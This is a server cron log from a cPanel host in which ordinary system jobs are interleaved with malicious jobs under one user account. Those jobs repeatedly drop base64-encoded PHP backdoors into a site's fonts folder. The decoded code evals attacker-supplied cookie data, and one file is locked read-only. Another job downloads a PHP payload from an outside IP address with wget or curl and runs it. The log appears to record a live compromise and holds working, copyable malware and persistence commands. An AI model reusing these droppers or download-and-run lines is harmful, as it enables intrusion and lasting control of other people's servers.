Sep 10 01:09:01 ip-184-168-122-23 CROND[8694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:09:01 ip-184-168-122-23 CROND[8699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:09:01 ip-184-168-122-23 CROND[8701]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:09:01 ip-184-168-122-23 CROND[8704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:09:01 ip-184-168-122-23 CROND[8705]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 01:10:01 ip-184-168-122-23 CROND[8871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:10:01 ip-184-168-122-23 CROND[8873]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 01:10:01 ip-184-168-122-23 CROND[8876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:10:01 ip-184-168-122-23 CROND[8879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:10:01 ip-184-168-122-23 CROND[8878]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:10:01 ip-184-168-122-23 CROND[8880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:10:01 ip-184-168-122-23 CROND[8881]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:10:01 ip-184-168-122-23 CROND[8885]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:11:01 ip-184-168-122-23 CROND[8978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:11:01 ip-184-168-122-23 CROND[8981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:11:01 ip-184-168-122-23 CROND[8982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:11:01 ip-184-168-122-23 CROND[8980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:12:02 ip-184-168-122-23 CROND[9075]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:12:02 ip-184-168-122-23 CROND[9079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:12:02 ip-184-168-122-23 CROND[9078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:12:02 ip-184-168-122-23 CROND[9080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:12:02 ip-184-168-122-23 CROND[9077]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:13:01 ip-184-168-122-23 CROND[9161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:13:01 ip-184-168-122-23 CROND[9164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:13:01 ip-184-168-122-23 CROND[9163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:13:01 ip-184-168-122-23 CROND[9165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:14:01 ip-184-168-122-23 CROND[9242]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:14:01 ip-184-168-122-23 CROND[9243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:14:01 ip-184-168-122-23 CROND[9245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:14:01 ip-184-168-122-23 CROND[9244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:14:01 ip-184-168-122-23 CROND[9246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:15:01 ip-184-168-122-23 CROND[9427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:15:01 ip-184-168-122-23 CROND[9429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:15:01 ip-184-168-122-23 CROND[9431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:15:01 ip-184-168-122-23 CROND[9430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:15:01 ip-184-168-122-23 CROND[9433]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:15:01 ip-184-168-122-23 CROND[9435]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:16:01 ip-184-168-122-23 CROND[9528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:16:01 ip-184-168-122-23 CROND[9533]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 01:16:01 ip-184-168-122-23 CROND[9531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:16:01 ip-184-168-122-23 CROND[9530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:16:01 ip-184-168-122-23 CROND[9532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:16:01 ip-184-168-122-23 CROND[9534]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:17:01 ip-184-168-122-23 CROND[9632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:17:01 ip-184-168-122-23 CROND[9634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:17:01 ip-184-168-122-23 CROND[9635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:17:01 ip-184-168-122-23 CROND[9640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:18:01 ip-184-168-122-23 CROND[9727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:18:01 ip-184-168-122-23 CROND[9729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:18:01 ip-184-168-122-23 CROND[9732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:18:01 ip-184-168-122-23 CROND[9733]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:18:01 ip-184-168-122-23 CROND[9731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:19:01 ip-184-168-122-23 CROND[9831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:19:01 ip-184-168-122-23 CROND[9833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:19:01 ip-184-168-122-23 CROND[9832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:19:01 ip-184-168-122-23 CROND[9834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:20:01 ip-184-168-122-23 CROND[9929]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:20:01 ip-184-168-122-23 CROND[9931]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 01:20:01 ip-184-168-122-23 CROND[9933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:20:01 ip-184-168-122-23 CROND[9936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:20:01 ip-184-168-122-23 CROND[9935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:20:01 ip-184-168-122-23 CROND[9934]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 01:20:01 ip-184-168-122-23 CROND[9937]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:20:01 ip-184-168-122-23 CROND[9939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:20:01 ip-184-168-122-23 CROND[9940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
